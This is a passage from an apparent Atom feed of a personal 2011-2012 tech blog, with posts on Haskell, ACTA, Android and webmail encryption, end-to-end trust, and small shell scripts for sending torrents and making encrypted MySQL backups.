&lt;a href=&quot;/images/videobrowser.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;/images/videobrowser.jpg&quot; width=&quot;400&quot; alt=&quot;Flattr Video Browser&quot; /&gt;&lt;/a&gt;&lt;/center&gt;&lt;/p&gt;
&lt;p&gt;The project combines the Flattr &lt;span class=&quot;caps&quot;&gt;API&lt;/span&gt; with the power of OEmbed and allows you to browse trending videos on Flattr. &lt;br /&gt;
For more infromation go to the &lt;a href=&quot;http://flattr.kejsarmakten.se:8080/about/&quot;&gt;about page&lt;/a&gt; (it also contains a picture of me posing with my pug).&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Akta för ACTA</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2012/01/26/akta-ACTA.html"/>
    <updated>2012-01-26T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2012/01/26/akta-ACTA</id>
    <content type="html">&lt;h2&gt;Akta för &lt;span class=&quot;caps&quot;&gt;ACTA&lt;/span&gt;&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;26 Jan 2012&lt;/p&gt;
&lt;p&gt;Well, the Americans just won their first small battle against the IP-mafia.&lt;br /&gt;
Now it is Europes turn, &lt;span class=&quot;caps&quot;&gt;ACTA&lt;/span&gt; is about to be signed. &lt;br /&gt;
&lt;center&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.laquadrature.net/wiki/images/7/76/Acta-infographics.png&quot;&gt;&lt;img src=&quot;https://www.laquadrature.net/wiki/images/7/76/Acta-infographics.png&quot; width=&quot;200px&quot;/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/center&gt;
&lt;p&gt;&lt;iframe src=&quot;http://mediakit.laquadrature.net/embed/716?size=medium&quot; 
style=&quot;width: 640px; height: 500px; border: 0; overflow: hidden&quot;&gt;&lt;/iframe&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://translate.google.com/translate?hl=en&amp;amp;ie=UTF8&amp;amp;prev=_t&amp;amp;rurl=translate.google.com&amp;amp;sl=pl&amp;amp;tl=en&amp;amp;twu=1&amp;amp;u=http://krakow.gazeta.pl/krakow/1,35798,11032507,Manifestacja_w_Krakowie__protest_przeciwko_ACTA.html&quot;&gt;In Poland there is 15.000 people protesting on the streets&lt;/a&gt;. &lt;br /&gt;
Let us follow their good example.&lt;/p&gt;
</content>
  </entry>
  
 
  
  <entry>
    <title>Learn You a Haskell for Great Good</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/12/18/learn-you-a-haskell.html"/>
    <updated>2011-12-18T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/12/18/learn-you-a-haskell</id>
    <content type="html">&lt;h2&gt;Learn You a Haskell for Great Good&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;18 Dec 2011&lt;/p&gt;
&lt;p&gt;On monday is my exam in &lt;a href=&quot;http://cs.lth.se/edan40&quot;&gt;functional programming&lt;/a&gt; and I wanted to round of the course with a short note on my course littrature.&lt;br /&gt;
&lt;center&gt;&lt;br /&gt;
&lt;a href=&quot;http://learnyouahaskell.com/&quot;&gt;&lt;img src=&quot;http://nostarch.com/sites/default/files/imagecache/product_full/lyah.png&quot; height=&quot;300px&quot; /&gt;&lt;/a&gt;&lt;/center&gt;&lt;/p&gt;
&lt;p&gt;Well, it is not really &lt;span class=&quot;caps&quot;&gt;THE&lt;/span&gt; course litterature, but the course does not follow a particular book really closely. &lt;br /&gt;
So I choose to go with this book (got hold of a copy through a &lt;a href=&quot;http://news.ycombinator.org&quot;&gt;Hacker News&lt;/a&gt; sale) and &lt;em&gt;Oh&lt;/em&gt; am I glad I did.&lt;/p&gt;
&lt;p&gt;It is written by a slovenian Computer Scientist named Miran Lipovača. Miran has a wonderful sense of humor and is a great teacher. The book is a wonderful read and the mixture of humor and an understanding for the hard parts in Haskell makes it a fun way to learn the language (unlike most course litterature I have stumbled across so far).&lt;/p&gt;
&lt;p&gt;And yeah, did I mention it is &lt;a href=&quot;http://learnyouahaskell.com/chapters&quot;&gt;&lt;span class=&quot;caps&quot;&gt;FREE&lt;/span&gt; to read online&lt;/a&gt;?&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Android 4 security improvements</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/12/16/android-4.html"/>
    <updated>2011-12-16T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/12/16/android-4</id>
    <content type="html">&lt;h2&gt;Android 4 security improvements&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;16 Dec 2011&lt;/p&gt;
&lt;p&gt;Just got my &lt;em&gt;Galaxy Nexus&lt;/em&gt; phone with a clean Android 4 install.&lt;br /&gt;
Here are some quick initial reactions:&lt;br /&gt;
There seem to be two new security features (compared to my old &lt;span class=&quot;caps&quot;&gt;HTC&lt;/span&gt; Hero with Android 1.6) that I just noticed.&lt;/p&gt;
&lt;p&gt;Seems like it supports some sort of disc encryption!&lt;/p&gt;
&lt;center&gt;&lt;a href=&quot;/images/encryptandroid.png&quot;&gt;&lt;img src=&quot;/images/encryptandroid.png&quot; height=&quot;400px&quot;&gt;&lt;/a&gt;&lt;/center&gt;
&lt;p&gt;Also, you can choose what CA&amp;#8217;s to trust! &lt;a href=&quot;/all/software/2011/10/11/convergence.html&quot;&gt;Choose whom to trust!&lt;/a&gt;&lt;/p&gt;
&lt;center&gt;&lt;a href=&quot;/images/chooseca.png&quot;&gt;&lt;img src=&quot;/images/chooseca.png&quot; height=&quot;400px&quot;&gt;&lt;/a&gt;&lt;/center&gt;
&lt;p&gt;&lt;em&gt;Great news everyone!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update 17/12/2011&lt;/strong&gt;&lt;br /&gt;
I am having a few concerns regarding the encryption introduced. I have started a disscustion around it on the &lt;a href=&quot;http://android.stackexchange.com/q/17086/10700&quot;&gt;android stackexchange&lt;/a&gt;, feel free to contribute with your thoughts. &lt;br /&gt;
The encryption forces the use of the same password/&lt;span class=&quot;caps&quot;&gt;PIN&lt;/span&gt; for the screen unlock as for the decryption. Thus discouraging the use of secure passwords or passphrases (hands up, who wants to write a 17 mixed case letter and digit password on the onscreen keyboard, everytime you want to check your phone or send a text messsage?).&lt;/p&gt;
&lt;p&gt;I tried to encrypt my phone last night and it seem to have crashed in the middle of the encryption. Claiming it was aborted (I left it alone connected to a charger), and in need a factory reset. Rather annoying, even though the second try was successful. So beware that this might happen if you encrypt your phone.&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Javascript GPG: Protect your webmail</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/11/25/pgp-javascript.html"/>
    <updated>2011-11-25T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/11/25/pgp-javascript</id>
    <content type="html">&lt;h2&gt;Javascript &lt;span class=&quot;caps&quot;&gt;GPG&lt;/span&gt;: Protect your webmail&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;25 Nov 2011&lt;/p&gt;
&lt;p&gt;I just tried out &lt;a href=&quot;http://gpg4browsers.recurity.com/&quot;&gt;GPG4Browsers&lt;/a&gt; in Google Chrome. &lt;br /&gt;
It is a Javascript implementation of OpenGPG (only missing key generation).&lt;/p&gt;
&lt;p&gt;It is really easy to install in Chrome, &lt;a href=&quot;http://gpg4browsers.recurity.com/&quot;&gt;just follow the steps on the website&lt;/a&gt;. &lt;br /&gt;
At the moment the plugin only seems to work with Gmail and in Chrome, but hopefully this will change soon and both Firefox plugins and support for other webclients like Roundcube will be available (the hard part, writing the Javascript OpenGPG implementation, is done so now its just a matter of packaging).&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://img.skitch.com/20111125-b8j73kk991npcnsyqebgcp9cte.jpg&quot;&gt;&lt;img width=&quot;600px&quot; src=&quot;https://img.skitch.com/20111125-b8j73kk991npcnsyqebgcp9cte.jpg&quot; alt=&quot;The plugin at work&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The Chrome plugin adds a little button in the adress field when you log in to Gmail that enables you to create a new encrypted message (and import keys from the keyserver of your choice and such).&lt;/p&gt;
&lt;p&gt;It also detects if a message seems to be encrypted with &lt;span class=&quot;caps&quot;&gt;PGP&lt;/span&gt; and ask you if you want to decrypt it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;So&amp;#8230; what does this mean?&lt;/strong&gt;&lt;br /&gt;
Well, it means that you can have encrypted conversations with people.&lt;/p&gt;
&lt;ul&gt;
	&lt;li&gt;This will stop Gmail from analyzing your emails and sending you directed ads.&lt;/li&gt;
	&lt;li&gt;This will stop snooping people in your surrondings (at work, in school or whereever) from reading your email.&lt;/li&gt;
	&lt;li&gt;This will stop people from being able to read your email if they get hold of your email password or your email server is hacked (they would also need your private key and your passphrase to the key)&lt;/li&gt;
	&lt;li&gt;This will also protect the email from eavesdropping (if the person you email, or his email provider, doesn&amp;#8217;t use propper &lt;span class=&quot;caps&quot;&gt;TLS&lt;/span&gt;/properly encrypted wifi and so on).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;&lt;span class=&quot;caps&quot;&gt;NOTE&lt;/span&gt;: I have not reviewed the source code.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note 1: The Chrome plugin opens a new window to encrypt and decrypt emails, hopefully this stops other javascripts to get hold of the clear text version of the email.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note 2: I recently read on #cryptodotis that it is probable that the signing with &lt;span class=&quot;caps&quot;&gt;DSA&lt;/span&gt; keys is broken with this plugin since the Random Number Generator in javascript is bad. This can be avoided with good implementation though, but it has not been confirmed for this project. Thus I recommend avoid signing with &lt;span class=&quot;caps&quot;&gt;DSA&lt;/span&gt; keys with this implementation unless you first audit the code.&lt;/em&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Wallpapers automatically from Tumblr</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/11/23/image-from-tumblr-as-wallpaper.html"/>
    <updated>2011-11-23T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/11/23/image-from-tumblr-as-wallpaper</id>
    <content type="html">&lt;h2&gt;Wallpapers automatically from Tumblr&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;23 Nov 2011&lt;/p&gt;
&lt;p&gt;Last night I wrote a small script that updates my background images daily to those from one of my favorite tumblr&amp;#8217;s (&lt;a href=&quot;http://welldressedfortheapocalypse.tumblr.com/&quot;&gt;thanks Well dressed for the apaocalypse!&lt;/a&gt;). &lt;br /&gt;
Feel free to try it out. To do so you need to install &lt;em&gt;Feedparser&lt;/em&gt; and &lt;em&gt;Beautifulsoup&lt;/em&gt; (or just download them and put them in the same folder as the script). &lt;br /&gt;
&lt;a href=&quot;https://raw.github.com/melpomene/TumblrBackgroundFetcher/master/CollectBackground.py&quot;&gt;Here is the Python script&lt;/a&gt;, it is hosted on &lt;a href=&quot;https://github.com/melpomene/TumblrBackgroundFetcher&quot;&gt;Github&lt;/a&gt; if you want to fork it. &lt;br /&gt;
Put the script in &lt;pre class=&quot;terminal&quot;&gt;/etc/periodic/daily/&lt;/pre&gt; to get it to upgrade your backgrounds daily.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Do not forget to change the path variable in the script&lt;/strong&gt; to your wallpaper folder where you store your background images.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.skitch.com/20111123-fj8ttn8t9xumgbq82ik2pgumdm.jpg&quot; title=&quot;Add the same folder here and in the script path&quot; alt=&quot;Add the same folder here and in the script path&quot; /&gt;&lt;br /&gt;
This is on OS X but the script should work on i.e. Linux to if you have installed automatical wallpaper switcher (create a crob job instead of the periodic folder).&lt;/p&gt;
&lt;p&gt;Right now it only supports one blog, but if you care to collect pictures from more it is just a minor fix to the Python code. You can change what Tumblr it reads from by changing the &lt;strong&gt;tumblr_url&lt;/strong&gt; variable.&lt;/p&gt;
&lt;p&gt;Any questions? Drop a comment!&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Myrmidonian Artifical Intelligence</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/11/16/myrmidonian-ai.html"/>
    <updated>2011-11-16T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/11/16/myrmidonian-ai</id>
    <content type="html">&lt;h2&gt;Myrmidonian Artifical Intelligence&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;16 Nov 2011&lt;/p&gt;
&lt;p&gt;Our, obvoiusly mildly sadistic, leacturer in &lt;em&gt;Functional Programming&lt;/em&gt; decided it was a good idea to show us a few live games of &lt;a href=&quot;http://aichallenge.org&quot;&gt;Googles AI challenge&lt;/a&gt; before a lecture to distract us from our studies and other tasks at hand. &lt;br /&gt;
Having considered buying a PS3 or xbox, for a few days, to play Skyrim just to experience the &lt;a href=&quot;http://www.youtube.com/watch?v=ic6dKnv3WdU&amp;amp;t=6m53s&quot;&gt;Dragon AI&lt;/a&gt; first hand, it was a given that I would give the challange a go. &lt;br /&gt;
Buried under heavy workload I have not been able to give it a crack before today.&lt;/p&gt;
&lt;p&gt;I just uploaded my first first code (after completing the tutorial) and could with fatherly love see my small &lt;a href=&quot;https://en.wikipedia.org/wiki/Myrmidons&quot;&gt;Myrmidons&lt;/a&gt; win their first game!&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://img.skitch.com/20111116-tm35bp31rgxwxpmtgqpfrest95.jpg&quot;&gt;&lt;img src=&quot;https://img.skitch.com/20111116-tm35bp31rgxwxpmtgqpfrest95.jpg&quot; width=&quot;670px&quot; alt=&quot;The very first game&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I&amp;#8217;ll update here as I add improvements. Any one else reading this participating? I&amp;#8217;d love to grab a beer/coffie and discuss tactics.&lt;/p&gt;
&lt;h3&gt;Update &amp;#8211; The sinus dance&lt;/h3&gt;
&lt;p&gt;Alright, first lines of code added and my little bots have played their first match. &lt;br /&gt;
&lt;strong&gt;Victory again!&lt;/strong&gt; My brave little warriors decided eating and copulating was their thing so it didn&amp;#8217;t take long until the map was covered with Myrmidons. &lt;br /&gt;
This they then decidied to &lt;a href=&quot;http://aichallenge.org/visualizer.php?game=101389&amp;amp;user=11117&quot;&gt;celebrate with a syncronized sinus curve dance&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://img.skitch.com/20111118-f8qet3qj1hs42wi9xu4dje4xsc.jpg&quot;&gt;&lt;img src=&quot;https://img.skitch.com/20111118-f8qet3qj1hs42wi9xu4dje4xsc.jpg&quot; width=&quot;670px&quot; alt=&quot;Shake that sinus curve!&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Update &amp;#8211; Bitter defeat&lt;/h3&gt;
&lt;p&gt;Alas, crushing defeat. Blindend by hybris my brave soldiers decided they would begin this game by sinus dancing (see above).&lt;br /&gt;
But, we&amp;#8217;ll learn for our misstakes. Just look at this population!&lt;br /&gt;
&lt;center&gt;&lt;img src=&quot;https://img.skitch.com/20111118-dq5equpquqgu3hn2uthkts9wyh.jpg&quot; title=&quot;Swarming, like fish! or birds!&quot; alt=&quot;Swarming, like fish! or birds!&quot; /&gt; &lt;/center&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I &lt;span class=&quot;caps&quot;&gt;WANT&lt;/span&gt; &lt;span class=&quot;caps&quot;&gt;THAT&lt;/span&gt;!&lt;/strong&gt; She moves in unison like spartans, a flock of birds or fish.&lt;br /&gt;
She is defeated by this black magic though: &lt;br /&gt;
&lt;center&gt;&lt;img src=&quot;https://img.skitch.com/20111118-m6p2iaphq89njeqwwpwwjs1krk.jpg&quot; title=&quot;dark symbol ants conquer all&quot; alt=&quot;dark symbol ants conquer all&quot; /&gt;&lt;/center&gt;&lt;br /&gt;
Some kind of awesome celtic cross. &lt;em&gt;Is celtic black magic cross what I really want&lt;/em&gt;? &lt;br /&gt;
Back to the drawing table!&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Gittes tygkälla</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2011/11/11/gittes-tygkalla.html"/>
    <updated>2011-11-11T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2011/11/11/gittes-tygkalla</id>
    <content type="html">&lt;h2&gt;Gittes tygkälla&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;11 Nov 2011&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/gittes.jpg&quot; title=&quot;foto: Hugo Öringe&quot; alt=&quot;foto: Hugo Öringe&quot; /&gt;&lt;br /&gt;
&lt;em&gt;A scary place&lt;/em&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Blekingska nationens sångboksapp</title>
    <link href="http://blog.kejsarmakten.se/all/projects/2011/10/25/blekingska-sangbokapp.html"/>
    <updated>2011-10-25T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/projects/2011/10/25/blekingska-sangbokapp</id>
    <content type="html">&lt;h2&gt;Blekingska nationens sångboksapp&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;25 Oct 2011&lt;/p&gt;
&lt;p&gt;Igår natt så gick vi live med Androidapplikation som jag har arbetat endel med, men som &lt;a href=&quot;http://kd35a.se&quot;&gt;Fredrik Strandin&lt;/a&gt; är initiativtagare till. Applikationen är en digital sångbok, så att man slipper glömma ta med sig sångboken till sittningar i framtiden.&lt;/p&gt;
&lt;p&gt;Jag har snickrat ihop en liten sida åt &lt;a href=&quot;http://blekingska.kd35a.se/index.html&quot;&gt;projektet här&lt;/a&gt; och här finns &lt;a href=&quot;https://github.com/kd35a/blekingskaSangbok&quot;&gt;källkoden på GitHub&lt;/a&gt; och här är applikationen på &lt;a href=&quot;https://market.android.com/details?id=se.kd35a.blekingskaSangbok&quot;&gt;android market&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Här är en video där jag demonstrerar applikationen lite snabbt.&lt;/p&gt;
&lt;p&gt;&lt;iframe width=&quot;420&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/nVld0BFWgLk&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/p&gt;
&lt;p&gt;Titta på &lt;a href=&quot;http://blekingska.kd35a.se/index.html&quot;&gt;projektsidan&lt;/a&gt; för att se hur man skall göra för att &lt;strong&gt;lägga till egna sångböcker&lt;/strong&gt;.&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Programming with Spock</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/10/23/haskell.html"/>
    <updated>2011-10-23T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/10/23/haskell</id>
    <content type="html">&lt;h2&gt;Programming with Spock&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;23 Oct 2011&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/haskell.png&quot; title=&quot;&amp;quot;Starships!!1!&amp;quot;&quot; alt=&quot;&amp;quot;Starships!!1!&amp;quot;&quot; /&gt;&lt;br /&gt;
Installing the Glasgow Haskell Compiler right now. &lt;br /&gt;
On monday I begin studing Functional Programming (Haskell) and cryptography on &lt;span class=&quot;caps&quot;&gt;LTH&lt;/span&gt;. &lt;br /&gt;
Dead excited. So hopefully there will show up a few Haskell related posts here in the near future.&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Do NOT trust the server</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/10/20/do-not-trust-the-server.html"/>
    <updated>2011-10-20T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/10/20/do-not-trust-the-server</id>
    <content type="html">&lt;h2&gt;Do &lt;span class=&quot;caps&quot;&gt;NOT&lt;/span&gt; trust the server&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;20 Oct 2011&lt;/p&gt;
&lt;p&gt;I have sometimes stumbled across the comment in privacy aware &lt;span class=&quot;caps&quot;&gt;IRC&lt;/span&gt; channels and forums that &lt;i&gt;&amp;#8220;if you do not trust the server, change server&amp;#8221;&lt;/i&gt;. &lt;br /&gt;
I do not agree with this, I think that it is important that you &lt;strong&gt;should never trust the server&lt;/strong&gt; if you are handling sensitive information.&lt;/p&gt;
&lt;p&gt;Always try to use protocols that protect you &lt;strong&gt;End-to-End&lt;/strong&gt; to avoid the need of server trust. &lt;br /&gt;
Most communication protocols do not support this i.e. Jabber where all traffic is tunnelled through the server (please correct me if I am wrong), Skype (&lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Skype#Service_in_the_People.27s_Republic_of_China&quot;&gt;i.e. decrypting traffic for China&lt;/a&gt;), E-mail and so on. &lt;br /&gt;
There are patches and ways to avoid this though i.e &lt;span class=&quot;caps&quot;&gt;PGP&lt;/span&gt; and &lt;span class=&quot;caps&quot;&gt;OTR&lt;/span&gt; (&lt;em&gt;weak against MitM-attacks&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;If a protocol requires you to rely on a server for protection then expect that data to leak. The server provider &lt;strong&gt;&lt;span class=&quot;caps&quot;&gt;WILL&lt;/span&gt;&lt;/strong&gt; loose your password in clear text, loose logs or decrypt your messages for governments, employes, hackers or anyone else who cares to listen.&lt;/p&gt;
&lt;p&gt;Numerous examples of companies who ask you to trust them for anonymity or security has been proven flawed. Examples are &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Hushmail#Controversy&quot;&gt;Hushmail&lt;/a&gt; and &lt;a href=&quot;https://torrentfreak.com/vpn-providers-mull-fraudster-database-in-wake-of-lulzec-fiasco-111006/&quot;&gt;Hide My Ass&lt;/a&gt;. &lt;br /&gt;
The problem is that the reaction often is surprisingly small from the public and the users. If companies like these can doesn&amp;#8217;t protect you, what role do they then serve? It is all pseudo-safety.&lt;/p&gt;
&lt;p&gt;Server trust is a big problem with anonymous &lt;span class=&quot;caps&quot;&gt;VPN&lt;/span&gt; providers, they live of your trust. If you do not trust them not to hand out information or log then they are useless. In this case it is hard to avoid the trust relationship (if you do not use &lt;a href=&quot;https://www.torproject.org/&quot;&gt;&lt;span class=&quot;caps&quot;&gt;TOR&lt;/span&gt;&lt;/a&gt; or &lt;a href=&quot;https://i2p2.de&quot;&gt;I2P&lt;/a&gt; &lt;em&gt;but watch out for exit node on these darknets, you have the same problem there as with the &lt;span class=&quot;caps&quot;&gt;VPN&lt;/span&gt; providers.&lt;/em&gt; Use hidden services (eepsites), or &lt;span class=&quot;caps&quot;&gt;TLS&lt;/span&gt; connections if visiting vanilla internet).&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Create and send torrent via OS X terminal</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/10/18/sending-file-as-torrent.html"/>
    <updated>2011-10-18T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/10/18/sending-file-as-torrent</id>
    <content type="html">&lt;h2&gt;Create and send torrent via OS X terminal&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;18 Oct 2011&lt;/p&gt;
&lt;h3&gt;Why?&lt;/h3&gt;
&lt;p&gt;Sending a big file to a friend is sometimes tricky.&lt;br /&gt;
Therefore I wrote a small bashscript that creates a .torrent file of the file I want to send.&lt;br /&gt;
After that it opens it in the torrent client of my choice and finally creates a new email and attaches the torrent file to it. &lt;br /&gt;
The only thing left for me to do after this is to send the email to the person I want to share my file with!&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;&lt;a href=&quot;https://www.xkcd.com/949/&quot;&gt;&lt;img src=&quot;http://imgs.xkcd.com/comics/file_transfer.png&quot; width=&quot;300px&quot;/&gt;&lt;/a&gt;&lt;/center&gt;
&lt;h3&gt;How?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;First&lt;/strong&gt; of all it has a dependency called &lt;a href=&quot;https://code.google.com/p/pyroscope/wiki/InstallReleaseVersion&quot;&gt;pyscope&lt;/a&gt; it can be installed with &amp;#8216;easy_install pyscope&amp;#8217;. &lt;br /&gt;
&lt;strong&gt;Next&lt;/strong&gt; I put this code in my &lt;em&gt;~/.bash_profile&lt;/em&gt;&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;
function createtorrent() {
	FILENAME=$1
	mktor -p $FILENAME udp://tracker.openbittorrent.com:80/announce
	open $FILENAME.torrent
	echo &quot;tell application \&quot;Mail\&quot;
	 activate
	 set MyEmail to make new outgoing message with properties {visible:true, content:\&quot;Torrent file transfer    \&quot;}
	 tell MyEmail
	   make new attachment with properties {file name:((\&quot;$FILENAME.torrent\&quot; as POSIX file) as alias)}
	 end tell
	end tell
	&quot; | osascript
}
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Now&lt;/strong&gt; it can be executed with&lt;br /&gt;
&lt;pre class=&quot;terminal&quot;&gt;createtorrent fileIwantToSend.avi&lt;/pre&gt;&lt;/p&gt;
&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Convergence</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/10/11/convergence.html"/>
    <updated>2011-10-11T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/10/11/convergence</id>
    <content type="html">&lt;h2&gt;Convergence&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;11 Oct 2011&lt;br /&gt;
&lt;center&gt;&lt;br /&gt;
&lt;iframe width=&quot;420&quot; height=&quot;315&quot; src=&quot;http://www.youtube.com/embed/Z7Wl2FW2TcA&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/p&gt;
&lt;/center&gt;
&lt;p&gt;&lt;br /&gt;
Just finished watching this speech from BlackHat on weaknesses in &lt;span class=&quot;caps&quot;&gt;SSL&lt;/span&gt; and the CA authority model. &lt;br /&gt;
I have also begun trying out the &lt;a href=&quot;http://convergence.io&quot;&gt;Convergence&lt;/a&gt; software mentioned in the video. &lt;br /&gt;
Here are some extra Convergence notaries of you want to try it out on the &lt;a href=&quot;https://crypto.is/projects/network/&quot;&gt;crypto.is project&lt;/a&gt;&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Backup mySQL with BASH</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/10/10/backup-mysql-with-bash.html"/>
    <updated>2011-10-10T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/10/10/backup-mysql-with-bash</id>
    <content type="html">&lt;h2&gt;Backup mySQL with &lt;span class=&quot;caps&quot;&gt;BASH&lt;/span&gt;&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;10 Oct 2011&lt;/p&gt;
&lt;p&gt;Simple &lt;span class=&quot;caps&quot;&gt;BASH&lt;/span&gt; script to backup mySQL database and save it encrypted&lt;br /&gt;
&lt;pre class=&quot;terminal&quot;&gt;
#!/bin/bash
DATE=$(date +%s)
BACKUPFILEZ=/backup/dump${DATE}.sql
mysqldump -u root --all-databases --hex-blob --complete-insert -p &gt; backup.sql &gt; $BACKUPFILEZ
gpg --encrypt $BACKUPFILEZ
rm $BACKUPFILEZ
&lt;/pre&gt;
&lt;br /&gt;
Note: This script stil needs you to manually enter database password and what public key to use for encryption (this can easily be added to the script). Also I recommend that you save the backups externally (and not in &amp;#8220;/backup&amp;#8221;), and for this I would recommend &amp;#8220;scp&amp;#8221;.&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Trying out Piwik</title>
    <link href="http://blog.kejsarmakten.se/all/software/2011/10/09/trying-out-piwik.html"/>
    <updated>2011-10-09T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2011/10/09/trying-out-piwik</id>
    <content type="html">&lt;h2&gt;Trying out Piwik&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;09 Oct 2011&lt;/p&gt;
&lt;p&gt;I decided to try out &lt;a href=&quot;http://piwik.org/&quot;&gt;Piwik&lt;/a&gt; for my blog, in an attempt to &amp;#8220;reclaim my data&amp;#8221;. &lt;br /&gt;
It is an Open Source (&lt;span class=&quot;caps&quot;&gt;GPL&lt;/span&gt;) alternative to Google Analytics. I haven&amp;#8217;t removed the GA script from the blog just yet until I know it is working properly.&lt;/p&gt;
&lt;p&gt;So far it seems to work really well with a beautiful interface and it doesn&amp;#8217;t seem to lack in functionality either, I&amp;#8217;ll report back here when I have been using it more.&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Write every day!</title>
    <link href="http://blog.kejsarmakten.se/all/projects/2011/10/04/write-every-day.html"/>
    <updated>2011-10-04T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/projects/2011/10/04/write-every-day</id>
    <content type="html">&lt;h2&gt;Write every day!&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;22 Jul 2011&lt;/p&gt;
&lt;p&gt;Unable to sleep well last night I put together this website with the aim to help inspire people to write every day. &lt;br /&gt;
&lt;center&gt;&lt;a href=&quot;http://whatshouldi.writeabouttoday.com&quot;&gt;What should I write about today&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://img.skitch.com/20111004-pbtxf5gh3911m9bywrrxi9gxrk.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;https://img.skitch.com/20111004-pbtxf5gh3911m9bywrrxi9gxrk.jpg&quot; width=&quot;400&quot; alt=&quot;What to write about today&quot; /&gt;&lt;/a&gt;&lt;/center&gt;
